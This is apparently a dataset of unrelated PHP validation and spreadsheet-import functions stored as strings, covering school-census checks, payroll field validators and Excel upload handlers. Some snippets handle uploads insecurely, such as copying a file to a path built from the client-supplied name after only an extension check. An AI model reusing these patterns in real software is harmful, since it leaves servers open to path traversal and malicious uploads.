inválido. Ano informado: {$oDataInicio->getAno()}\";\n $sMensagem .= \" - Anos válidos: {$iAnoAnterior} ou {$oDataCenso->getAno()}\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if( DBDate::calculaIntervaloEntreDatas( $oDataCenso, $oDataTermino, 'd' ) > 0\n || $oDataTermino->getAno() != $oDataCenso->getAno()\n ) {\n\n $sMensagem = \"Data de término do ano letivo inválido. O ano deve ser o mesmo do censo\";\n $sMensagem .= \" ( {$oDataCenso->getAno()} ), e a data não pode ser inferior a data de referência\";\n $sMensagem .= \" ( {$oDataCenso->getDate( DBDate::DATA_PTBR )} ).\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n }\n }\n\n /**\n * Validações referentes aos telefones\n */\n for( $iContador = 0; $iContador <= 2; $iContador++ ) {\n\n $sPropriedadeTelefone = \"telefone\";\n $sMensagemTelefone = \"Telefone\";\n\n if( $iContador > 0 ) {\n\n $sPropriedadeTelefone = \"telefone_publico_{$iContador}\";\n $sMensagemTelefone = \"Telefone Público {$iContador}\";\n }\n\n if( $oDadosEscola->registro00->{$sPropriedadeTelefone} != '' ) {\n\n if( strlen( $oDadosEscola->registro00->{$sPropriedadeTelefone} ) < 8 ) {\n\n $sMensagem = \"Campo {$sMensagemTelefone} deve conter 8 dígitos\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if ( substr($oDadosEscola->registro00->{$sPropriedadeTelefone}, 0, 1) != 9\n && strlen($oDadosEscola->registro00->{$sPropriedadeTelefone}) == 9\n ) {\n\n $sMensagem = \"Campo {$sMensagemTelefone}, ao conter 9 dígitos, o primeiro algarismo deve ser 9.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n }\n }\n\n if ($oDadosEscola->registro00->fax != '') {\n\n if (strlen($oDadosEscola->registro00->fax) < 8) {\n\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro(\"Campo Fax deve conter 8 dígitos\", ExportacaoCensoBase::LOG_ESCOLA);\n }\n }\n\n /**\n * Validações que serão executadas caso a situação de funcionamento seja igual a 1\n * 1 - em atividade\n * e caso a opção Dependência Administrativa selecionada seja igual a 4\n * 4 - privada\n */\n if ($oDadosEscola->registro00->dependencia_administrativa == 4) {\n\n if ( empty( $oDadosEscola->registro00->categoria_escola_privada ) ) {\n\n $lTodosDadosValidos = false;\n $sErroMsg = \"Escola de Categoria Privada.\\n\";\n $sErroMsg .= \"Deve ser selecionada uma opção no campo Categoria da Escola Privada\";\n $oExportacaoCenso->logErro($sErroMsg, ExportacaoCensoBase::LOG_ESCOLA);\n }\n\n if ($oDadosEscola->registro00->conveniada_poder_publico == '') {\n\n $sMensagem = \"Deve ser selecionada uma opção no campo Conveniada Com o Poder Público\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if ( $oDadosEscola->registro00->mant_esc_privada_empresa_grupo_empresarial_pes_fis == 0\n && $oDadosEscola->registro00->mant_esc_privada_sidicatos_associacoes_cooperativa == 0\n && $oDadosEscola->registro00->mant_esc_privada_ong_internacional_nacional_oscip == 0\n && $oDadosEscola->registro00->mant_esc_privada_instituicoes_sem_fins_lucrativos == 0\n && $oDadosEscola->registro00->sistema_s_sesi_senai_sesc_outros == 0\n ) {\n\n $sMensagem = \"Deve ser selecionado pelo menos um campo de Mantenedora da Escola Privada\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if ($oDadosEscola->registro00->cnpj_mantenedora_principal_escola_privada == '') {\n\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro(\"O CNPJ da mantenedora principal da escola deve ser informado\", ExportacaoCensoBase::LOG_ESCOLA);\n }\n\n if( $oDadosEscola->registro00->cnpj_mantenedora_principal_escola_privada != ''\n && !DBNumber::isInteger( $oDadosEscola->registro00->cnpj_mantenedora_principal_escola_privada )\n ) {\n\n $sMensagem = \"O CNPJ da mantenedora principal deve conter somente números.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if ($oDadosEscola->registro00->cnpj_escola_privada == '') {\n\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro(\"O CNPJ da escola deve ser informado quando escola for privada.\", ExportacaoCensoBase::LOG_ESCOLA);\n }\n }\n\n if( $oDadosEscola->registro00->regulamentacao_autorizacao_conselho_orgao == '' ) {\n\n $sMensagem = \"Deve ser informada uma opção referente ao Credenciamento da escola.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n }\n\n $lDadosInfraEstrutura = DadosCensoEscola::validarDadosInfraEstrutura($oExportacaoCenso);\n if (!$lDadosInfraEstrutura) {\n $lTodosDadosValidos = $lDadosInfraEstrutura;\n }\n\n return $lTodosDadosValidos;\n }", "function fncValidaDI_21($IdEstado, $GestorErr, $NumReg, $Campo)\n{\n\t \n\t$Bandera = CERO;\n\n\t$DI_21 = \"(21)Proyecto Proceso\";\n\t$DI_21_ErrTam = \"Tamaño de Actividad Institucional debe ser a 4 Alfanumerico\";\n\t$DI_21_PP \t = \"La Proyecto Proceso no es parte del catalogo de DGRH\";\n\t\n $PP= array(\"1301\", \"E010\",\"E025\",\"I002\");\n\n\t$LocCampo =$Campo;\n\tif (strlen($LocCampo) == CUATRO)\n\t{\n\t\tif(!in_array($LocCampo,$PP))\n\t\t{\n\t\t\t$Error = $NumReg .\"|\".$DI_21.\"|\".$LocCampo.\"|\" . $DI_21_PP.\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = 1;\n\t\t}\t\n\t}\n\telse\n\t{\n\t\t$Error = $NumReg .\"|\".$DI_21.\"|\".$LocCampo.\"|\" . $DI_21_ErrTam.\"|\\n\";\n\t\tfwrite($GestorErr, $Error);\n\t\t$Bandera = 1;\n\t}\n\treturn $Bandera;\n}", "public function validate(){\n\n if(!$this->convert_and_validate_rows()){\n return 0;\n }\n\n if(!$this->validate_columns()){\n return 0;\n }\n\n if(!$this->validate_regions()){\n return 0;\n }\n\n return 1;\n }", "function fncValidaDI_27($IdEstado, $GestorErr, $NumReg, $Campo)\n{\n\t \n\t$Bandera = CERO;\n\n\t$DI_27 = \"(27)Centro de Responsabilidad\";\n\t$DI_27_ErrTam = \"Tamaño de campo Centro de Responsabilidad debe ser a 10 Caracters\";\n\t$DI_27_Edo \t = \"El Centro de Responsabilidad no corresponde al Estado\";\n\t$DI_27_CR \t = \"El Centro de Responsabilidad no corresponde al catalogo de DGRH\";\n\t\n\t// agregar catalogo de Municpios\n $Edo= array($IdEstado);\n\n\t$LocCampo =$Campo;\n\tif (strlen($LocCampo) == DIEZ)\n\t{\n\t\tif(!in_array(substr($LocCampo,0,2),$Edo))\n\t\t{\n\t\t\t$Error = $NumReg .\"|\".$DI_27.\"|\".$LocCampo.\"|\" . $DI_27_Edo.\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = UNO;\n\t\t}\t\n\t\tif(!preg_match(\"/\\d{8}/\",substr($LocCampo,2,8)))\n\t\t{\n\t\t\t$Error = $NumReg .\"|\".$DI_27.\"|\".$LocCampo.\"|\" . $DI_27_CR.\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = UNO;\n\t\t}\t\n\t}\n\telse\n\t{\n\t\t$Error = $NumReg .\"|\".$DI_27.\"|\".$LocCampo.\"|\" . $DI_27_ErrTam.\"|\\n\";\n\t\tfwrite($GestorErr, $Error);\n\t\t$Bandera = UNO;\n\t}\n\treturn $Bandera;\n}", "function fncValidaDI_31($IdEstado, $GestorErr, $NumReg, $Campo)\n{\n\t \n\t$Bandera = CERO;\n\n\t$DI_31 = \"(31)Tabulador de Puesto\";\n\t$DI_31_ErrTam = \"Tamaño de campo Tabulador de Puesto debe ser de 3 Digítos\";\n\t$DI_31_noDI \t = \"Tabulador de Puesto no corresponde las Directivas Institucionales establecidas por DGRH\";\n\t\n\n\t$LocCampo =$Campo;\n\tif (strlen($LocCampo) == TRES)\n\t{\n\t\tif(!preg_match(\"/[0-9]{3}/\",$LocCampo))\n\t\t{\n\t\t\t$Error = $NumReg .\"|\".$DI_31.\"|\".$LocCampo.\"|\" . $DI_31_noDI.\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = UNO;\n\t\t}\t\n\t}\n\telse\n\t{\n\t\t$Error = $NumReg .\"|\".$DI_31.\"|\".$LocCampo.\"|\" . $DI_31_ErrTam.\"|\\n\";\n\t\tfwrite($GestorErr, $Error);\n\t\t$Bandera = UNO;\n\t}\n\treturn $Bandera;\n}", "function fncValidaDI_19($IdEstado, $GestorErr, $NumReg, $Campo)\n{\n\t \n\t$Bandera = CERO;\n\n\t$DI_19 = \"(19)Programa General\";\n\t$DI_19_ErrTam = \"Tamaño de Programa General debe ser dígito a 2 posicion\";\n\t$DI_19_PG \t = \"La Programa General no es parte del catalogo de DGRH\";\n\n\t\n\n /** Quita caracteres especiales **/\n\t//$LocCampo =preg_replace('/[^A-Za-z0-9\\-]/', '', $Campo);\n $PG= array(\"04\",\"09\",\"15\");\n\n\t$LocCampo =$Campo;\n\tif (strlen($LocCampo) == DOS)\n\t{\n\t\tif(!in_array($LocCampo,$PG))\n\t\t{\n\t\t\t$Error = $NumReg .\"|\".$DI_19.\"|\".$LocCampo.\"|\" . $DI_19_PG.\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = 1;\n\t\t}\t\n\t}\n\telse\n\t{\n\t\t$Error = $NumReg .\"|\".$DI_19.\"|\".$LocCampo.\"|\" . $DI_19_ErrTam.\"|\\n\";\n\t\tfwrite($GestorErr, $Error);\n\t\t$Bandera = 1;\n\t}\n\treturn $Bandera;\n}", "function ejecutar_excel($case,$archi,$usr,$cli){\n\t\n\t\nglobal $total_aceptados,$total_rechazados, $rechazados_localizados ,$cont_registros,$h,$mensaje,$nueva_ruta,$unidad_x,$ruta_x,$insertar_ruta_unidad;\n\nini_set(\"display_errors\",1);\nerror_reporting(E_ALL);\nrequire_once 'excel_reader2.php';\n$excel = new Spreadsheet_Excel_Reader($archi);\n echo \n\t\n $cont = 0;\n $conta = 0;\n\t$no_conta = 0;\n\t$arre = \"\";\n\t$item_bueno=\"\";\n\t$item_malo=\"\";\n\t$cadena_buenos = \"\";\n\t$columnas =0;\n\n\t//$formato = array(\"NIP\",\"CLIENTE\",\"CALLE\",\"COLONIA\",\"DEL-MUN\",\"ESTADO\",\"CP\",\"LATITUD\",\"LONGITUD\",\"ITINERARIOS\");\n\t//$formato_actual = array();\t\n\t$bandera = true;\t\n\t\n\t$m = -1;\n\t\n\n for ($row=1;$row<2;$row++){\n \t for ($col=1;$col<=$excel->colcount();$col++) {\n \t\t $m = $m +1;\n \t\t if($excel->val($row,$col)!=\"\"){\n \t\t\t\t \t $columnas = $columnas +1; \n \t\t\t\t}\n \t\t }\n }\n\n\n\n//if($bandera == true){\t \n\n//--------------------------------------------------\n for ($row=2;$row<=$excel->rowcount();$row++) {\n \n \t\t $cont_registros=$cont_registros+1;\n \t\t \n \t\t for ($col=1;$col<=$columnas;$col++) {\n \t\t \n \t\t if($excel->val($row,$col)!=\"\"){\n\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t \n \t\t\t\t\t $cont = $cont +1;\n \t\t\t\t\t\t $item_bueno = $excel->val($row,1);\n \t\t\t\t\t\t \n \t\t\t\t\t\t if($cadena_buenos ==\"\"){\n \t\t\t\t\t\t $cadena_buenos = $excel->val($row,$col);\n \t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t\t\t\n \t\t\t\t\t if($col==8){\n\t\t\t\t\t\t\t\t\t\t $rLatLon = validaLatLon($excel->val($row,8),$excel->val($row,9));\n\t\t\t\t\t\t\t\t\t\t // echo \"para\".$excel->val($row,8).','.$excel->val($row,9).\" la var latlon es = \".$rLatLon.'<br>'; \n\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t if($rLatLon==1){\n\t\t\t\t\t\t\t\t\t\t\t $cadena_buenos = $cadena_buenos.'['.$excel->val($row,$col);\n\t\t\t\t\t\t\t\t\t\t }else{\n\t\t\t\t\t\t\t\t\t\t\t $cadena_buenos=\"\";\n \t\t\t\t\t break;\n\t\t\t\t\t\t\t\t\t\t }\n\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t }else if($col==$columnas){\n\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t\t$semana = array(\"D\",\"L\",\"M\",\"R\",\"J\",\"V\",\"S\");\n\t\t\t\t\t\t\t\t\t\t\t$dias = explode(\",\",strtoupper($excel->val($row,$col)));\n\t\t\t\t\t\t\t\t\t\t\t\t$day = \"\";\n\t\t\t\t\t\t\t\t\t\t\t\t//echo \" semana\".count($semana).\"-- dias \".count($dias).'<br />';\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t for($d=0;$d<count($dias);$d++){\n\t\t\t\t\t\t\t\t\t\t\t\t\tfor($s=0;$s<count($semana);$s++){\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t //echo \"sem=\".$semana[$s].'<br />';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif($semana[$s]==$dias[$d]){\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t if($day == \"\"){\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t if($semana[$s] == \"D\"){\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $day = '0';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $day = $s;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t }else{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// echo $dias[$d].'=='.$semana[$s].$s.'<br />';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $day = $day.'@'.$s;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t }\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t }\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$cadena_buenos = $cadena_buenos.'['.$day;\n\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t }else{\n\t\t\t\t\t\t\t\t\t\t $cadena_buenos = $cadena_buenos.'['.$excel->val($row,$col);\n\t\t\t\t\t\t\t\t }\n \t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\n \t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t \n\t\t\t\t\t\t }else{\n\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t if($col == 7){\n\t\t\t\t\t\t\t\t//echo \"columna \".$col.'-'.$excel->val($row,$col); \n\t\t\t\t\t\t\t\t$cadena_buenos = $cadena_buenos.'[99999';\n \t\t\t\t\t\t\t $cont = $cont +1;\n\t\t\t\t\t\t\t }else{\n\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t \tif( $item_malo == \"\"){\n \t\t\t\t\t $item_malo = $excel->val(1,$col);\n \t\t\t\t\t}else{\n \t\t\t\t\t $item_malo = $item_malo.','. $excel->val(1,$col);\n \t\t\t\t\t}\t\n\t\t\t\t\t\t\t\t\n \t\t\t\t\t\t $cadena_buenos=\"\";\n \t\t\t\t\t break;\n\t\t\t\t\t\t\t }\n\t\t\t\t\t\t\n \t\t\t\t }\n \t\t\t\t\t\n \t\t }\n \n \t\t if($cont == $columnas){\n \t\t $conta = $conta+1;\n \t\t\t echo $cadena_buenos.'<br />';\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t/*------------------------------- OPERACIONES -----------------------*/\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tinsert_update($item_bueno,$cadena_buenos,$case,$usr,$cli);\n\t\t\t\t\t\t\t\t if($insertar_ruta_unidad==0){\n\t\t\t\t\t\t\t\t crear_ruta_unidad($unidad_x,$ruta_x,$usr,$cli);\n\t\t\t\t\t\t\t\t\t}\n \t\t\t\t crea_ruta_punto($item_bueno,$nueva_ruta);\n\t\t\t\t\t\t\t\t crea_itn($nueva_ruta,$cadena_buenos,$usr);\n\t\t\t\t\t\t\t\t\tcrea_pto_vis($nueva_ruta,$cadena_buenos);\n\t\t\t\t\t\t\t\t\n \t\t\t\t /*---------------------------------------------------------*/\n\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t$item_bueno=\"\";\n \t\t\t\t $cadena_buenos=\"\";\n \t\t }else{\n \t\t\t \n \t\t\t $no_conta = $no_conta+1;\n \t\t\t\t if($arre ==\"\"){\n \t\t\t\t $arre=$row;\n \t\t\t\t }else{\n \t\t\t\t $arre= $arre.','.$row;\n \t\t\t\t }\n \t\t\t\t \n \t\t\t}\n \t\t $cont =0; \n }\n $total_aceptados = $conta;\n echo \"<br><br><br> rechazados = \".$total_rechazados = $no_conta; \n\t\t\t\t \n if($no_conta>0){\n echo $rechazados_localizados = $arre;\n }\n\t\t\t\t\t \n // } //if bandera de formato correcto.\n}", "function validar_atributos_edit()\n {\n $nomberExito = $this->validar_Nombre();\n $fechaExito = $this->validar_Fecha();\n $validadoExito = $this->validar_Validado();\n\n if (is_array($nomberExito)) {\n return $this->feedback;\n }\n if (is_array($fechaExito)) {\n return $this->feedback;\n }\n if (is_array($validadoExito)) {\n return $this->feedback;\n }\n\n return true;\n }", "public function valid() {}", "public function valid() {}", "public function valid() {}", "public function valid() {}", "public function valid() {}", "public function valid() {}", "public function valid() {}", "public function valid() {}", "function validarDatosRegistro() {\r\n // Recuperar datos Enviados desde formulario_nuevo_equipo.php\r\n $datos = Array();\r\n $datos[0] = (isset($_REQUEST['marca']))?\r\n $_REQUEST['marca']:\"\";\r\n $datos[1] = (isset($_REQUEST['modelo']))?\r\n $_REQUEST['modelo']:\"\";\r\n $datos[2] = (isset($_REQUEST['matricula']))?\r\n $_REQUEST['matricula']:\"\";\r\n \r\n //-----validar ---- //\r\n $errores = Array();\r\n $errores[0] = !validarMarca($datos[0]);\r\n $errores[1] = !validarModelo($datos[1]);\r\n $errores[2] = !validarMatricula($datos[2]);\r\n \r\n // ----- Asignar a variables de Sesión ----//\r\n $_SESSION['datos'] = $datos;\r\n $_SESSION['errores'] = $errores; \r\n $_SESSION['hayErrores'] = \r\n ($errores[0] || $errores[1] ||\r\n $errores[2]);\r\n \r\n}", "function fncValidaDI_4($IdEstado, $GestorErr, $NumReg, $Campo)\n{\n\t \n\t$Bandera = 0;\n\n\t$DI_4 = \"(4)Nombre del Empleado\";\n\t$DI_4_ErrTam = \"Tamaño de registro debe ser 150 Caracteres\";\n\t$DI_4_ErrIdEdo = \"Identificador de estado Invalido\";\n\t$DI_4_ErrEstructura = \"EL campo no cumple con estructura definida PATERNO,MATERNO/NOMBRE(S)\";\n\n /** Quita caracteres especiales **/\n\t//$LocCampo =preg_replace('/[^A-Za-z0-9\\-]/', '', $Campo);\n\t$LocCampo =$Campo;\n\tif (strlen($LocCampo) <= 150)\n\t{\n\t\tif(!preg_match (\"/[?,A-Z,a-z,\\s]{1,90},[?,A-Z,a-z,\\s]{1,90}\\/[?.A-Z,a-z,\\s]{1,90}/\" ,$LocCampo))\n\t\t{\n\t\t\t$Error = $NumReg .\"|\".$DI_4.\"|\".$LocCampo.\"|\" . $DI_4_ErrEstructura.\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = 1;\n\t\t}\t\n\t}\n\telse\n\t{\n\t\t$Error = $NumReg .\"|\".$DI_4.\"|\".$LocCampo.\"|\" . $DI_4_ErrTam.\"|\\n\";\n\t\tfwrite($GestorErr, $Error);\n\t\t$Bandera = 1;\n\t}\n\treturn $Bandera;\n}", "function fncValidaDI_18($IdEstado, $GestorErr, $NumReg, $Campo)\n{\n\t \n\t$Bandera = CERO;\n\n\t$DI_18 = \"(18)SubFuncion\";\n\t$DI_18_ErrTam = \"Tamaño de SubFunción debe ser dígito a 2 posicion\";\n\t$DI_18_SF \t = \"La SubFuncion no es parte del catalogo de DGRH\";\n\n\t\n\n /** Quita caracteres especiales **/\n\t//$LocCampo =preg_replace('/[^A-Za-z0-9\\-]/', '', $Campo);\n $SF= array(\"01\",\"02\",\"03\",\"04\",\"10\",\"15\",\"05\");\n\t$LocCampo =$Campo;\n\tif (strlen($LocCampo) == DOS)\n\t{\n\t\tif(!in_array($LocCampo,$SF))\n\t\t{\n\t\t\t$Error = $NumReg .\"|\".$DI_18.\"|\".$LocCampo.\"|\" . $DI_18_SF.\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = 1;\n\t\t}\t\n\t}\n\telse\n\t{\n\t\t$Error = $NumReg .\"|\".$DI_18.\"|\".$LocCampo.\"|\" . $DI_18_ErrTam.\"|\\n\";\n\t\tfwrite($GestorErr, $Error);\n\t\t$Bandera = 1;\n\t}\n\treturn $Bandera;\n}", "function isValid() ;", "public function upload_category_excel() {\n $data = array();\n $this->form_validation->set_rules('fileURL', 'Upload File', 'callback_checkFileValidation');\n if ($this->form_validation->run() == false) {\n \n } else {\n if (!empty($_FILES['fileURL']['name'])) {\n $extension = pathinfo($_FILES['fileURL']['name'], PATHINFO_EXTENSION);\n\n if ($extension == 'csv') {\n $reader = new \\PhpOffice\\PhpSpreadsheet\\Reader\\Csv();\n } elseif ($extension == 'xlsx') {\n $reader = new \\PhpOffice\\PhpSpreadsheet\\Reader\\Xlsx();\n } else {\n $reader = new \\PhpOffice\\PhpSpreadsheet\\Reader\\Xls();\n }\n\n $spreadsheet = $reader->load($_FILES['fileURL']['tmp_name']);\n $allDataInSheet = $spreadsheet->getActiveSheet()->toArray(null, true, true, true);\n\n $arrayCount = count($allDataInSheet);\n $flag = 0;\n $createArray = array('ar_name', 'en_name', 'discount');\n $makeArray = array('ar_name' => 'ar_name', 'en_name' => 'en_name', 'discount' => 'discount');\n\n $SheetDataKey = array();\n $mydata = array();\n foreach ($allDataInSheet as $dataInSheet) {\n foreach ($dataInSheet as $key => $value) {\n if (in_array(trim($value), $createArray)) {\n $value = preg_replace('/\\s+/', '', $value);\n $SheetDataKey[trim($value)] = $key;\n }\n }\n }\n $dataDiff = array_diff_key($makeArray, $SheetDataKey);\n if (empty($dataDiff)) {\n $flag = 1;\n }\n if ($flag == 1) {\n for ($i = 2; $i <= $arrayCount; $i++) {\n $ar_name = $SheetDataKey['ar_name'];\n $en_name = $SheetDataKey['en_name'];\n $discount = $SheetDataKey['discount'];\n\n $ar_name = filter_var(trim($allDataInSheet[$i][$ar_name]), FILTER_SANITIZE_STRING);\n $en_name = filter_var(trim($allDataInSheet[$i][$en_name]), FILTER_SANITIZE_STRING);\n $discount = filter_var(trim($allDataInSheet[$i][$discount]), FILTER_SANITIZE_STRING);\n\n $fetchData = array('ar_name' => $ar_name, 'en_name' => $en_name, 'discount' => $discount);\n $data['dataInfo'] = $fetchData;\n array_push($mydata, $fetchData);\n }\n }\n $data['mydata'] = $mydata;\n $data['title'] = $this->lang->line('admin_category');\n $data['page'] = rest_path('category/display_category_excel');\n $data['get_printer'] = $this->get_printer();\n $data['category_branch_location'] = $this->get_branch_location();\n $this->load->view('index', $data);\n }\n }\n }", "public function valid() : bool\n {\n // dd($this->position >= 65 && $this->position <= 90);\n return $this->position >= 65 && $this->position <= 90;\n }", "function fncValidaDI_25($IdEstado, $GestorErr, $NumReg, $Campo)\n{\n\t \n\t$Bandera = CERO;\n\n\t$DI_25 = \"(25)Estado\";\n\t$DI_25_ErrTam = \"Tamaño de Estado debe ser a 2 Dígitos\";\n\t$DI_25_Edo \t = \"El Estado no es parte del catalogo de DGRH\";\n\t\n $Edo= array(\"DF\",\"09\",\"05\",\"04\",\"03\",\"02\",\"01\",\"08\",\"07\",\"06\",\"SP\",\"32\",\"31\",\"30\",\n\"29\",\"28\",\"27\",\"26\",\"25\",\"24\",\"23\",\"22\",\"21\",\"20\",\"19\",\"18\",\"17\",\"16\",\"15\",\"14\",\"13\",\n\"12\",\"11\",\"10\");\n\n\t$LocCampo =$Campo;\n\tif (strlen($LocCampo) == DOS)\n\t{\n\t\tif(!in_array($LocCampo,$Edo))\n\t\t{\n\t\t\t$Error = $NumReg .\"|\".$DI_25.\"|\".$LocCampo.\"|\" . $DI_25_Edo.\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = UNO;\n\t\t}\t\n\t}\n\telse\n\t{\n\t\t$Error = $NumReg .\"|\".$DI_25.\"|\".$LocCampo.\"|\" . $DI_25_ErrTam.\"|\\n\";\n\t\tfwrite($GestorErr, $Error);\n\t\t$Bandera = UNO;\n\t}\n\treturn $Bandera;\n}", "function valid();", "private function choixEffectuer()\n {\n $valider = false;//on mets le forrmulaire a faux\n $valeur = $this->recupValeur($this->position['valeur']);//on recupêre la valeur a comparer\n\n if($this->position['egal'])\n {\n \n if($this->choix == $valeur)\n {\n $valider = true;\n }\n }\n else if($this->position['different'])\n {\n \n if($this->choix != $valeur)\n {\n $valider = true;\n }\n }\n else\n {\n Erreur::declarer_dev(27);\n }\n\n return $valider;\n\n }", "function preview_file(){\n\t\t\n\t\t/** Set default timezone (will throw a notice otherwise) */\n\t\tdate_default_timezone_set('Asia/Bangkok');\n\t\t/** PHPExcel */\n\t\tinclude (\"plugins/PHPExcel/Classes/PHPExcel.php\");\n\t\t/** PHPExcel_IOFactory - Reader */\n\t\tinclude (\"plugins/PHPExcel/Classes/PHPExcel/IOFactory.php\");\n\t\t\t\n\n\t\tif(isset($_FILES['uploadfile']['name'])){\n\t\t\t$file_name = $_FILES['uploadfile']['name'];\n\t\t\t$ext = pathinfo($file_name, PATHINFO_EXTENSION);\n\t\t\t\n\t\t\t//echo \": \".$file_name; //die;\n\t\t\t//Checking the file extension (ext)\n\t\t\tif($ext == \"xlsx\" || $ext == \"xls\"){\n\t\t\t\t$Path = 'uploads/payment';\t\n\t\t\t\t$filename =$Path.'/'.$file_name;\n\t\t\t\tcopy($_FILES['uploadfile']['tmp_name'],$filename);\t\n\t\t\t\t\n\t\t\t\t$inputFileName = $filename;\n\t\t\t\t//echo $inputFileName;\n\t\t\t\t\n\t\t\t/**********************PHPExcel Script to Read Excel File**********************/\n\t\t\t\t// Read your Excel workbook\n\t\t\t\ttry {\n\t\t\t\t\t//echo \"try\".$inputFileName;\n\t\t\t\t\t$inputFileType = PHPExcel_IOFactory::identify($inputFileName); //Identify the file\n\t\t\t\t\t$objReader = PHPExcel_IOFactory::createReader($inputFileType); \n\t\t\t\t\t$objReader->setReadDataOnly(true);\n\t\t\t\t\t//Creating the reader\n\t\t\t\t\t$objPHPExcel = $objReader->load($inputFileName); //Loading the file\n\t\t\t\t\t//echo \"จบ try นะ\";\n\t\t\t\t\t\n\t\t\t\t} catch (Exception $e) {\n\t\t\t\t\techo \"<pre>\";\n\t\t\t\t\tprint_r($e);\n\t\t\t\t\techo \"</pre>\";\n\t\t\t\t\tdie('Error loading file \"' . pathinfo($inputFileName, PATHINFO_BASENAME) \n\t\t\t\t\t. '\": ' . $e->getMessage());\n\t\t\t\t}\n\n\t\t\t\t//ข้อมูลนำเข้า\n\t\t\t\t$this->data[\"im_exam\"] = $this->input->post(\"im_exam\");\t \t\t//ประเภทการสอบ\n\t\t\t\t$this->data[\"im_edu_bgy\"] = $this->input->post(\"im_edu_bgy\");\t \t//ปีการศึกษา\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t/* start ROW && COLUMN */\n\t\t\t\t$sheet_active = 0;\n\t\t\t\t$start_row = 2;\n\t\t\t\t$start_col = 'A';\t\n\t\t\t\t\n\t\t\t\t// Get worksheet dimensions\n\t\t\t\t$sheet = $objPHPExcel->getSheet($sheet_active); //Selecting sheet 0\t\t\t\t\n\t\t\t\t$highestRow = $sheet->getHighestRow(); \t\t//Getting number of rows\n\t\t\t\t$highestColumn = $sheet->getHighestColumn(); //Getting number of columns\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$arr_data = array(); // per project 1 row\n\t\t\t\t\n\t\t\t\tfor ($row = $start_row; $row <= $highestRow; $row++) {\t\t\n\t\t\t\t\t//******** column A-H :: expend project *********//\n\t\t\t\t\t$column_key = $sheet->rangeToArray($start_col.$row.\":\".$highestColumn.$row, NULL, TRUE, FALSE);\n\t\t\t\t\t\n\t\t\t\t\tif(!empty($column_key)){\n\t\t\t\t\tforeach($column_key as $row_col){\n\t\t\t\t\t\t/***************** start expend 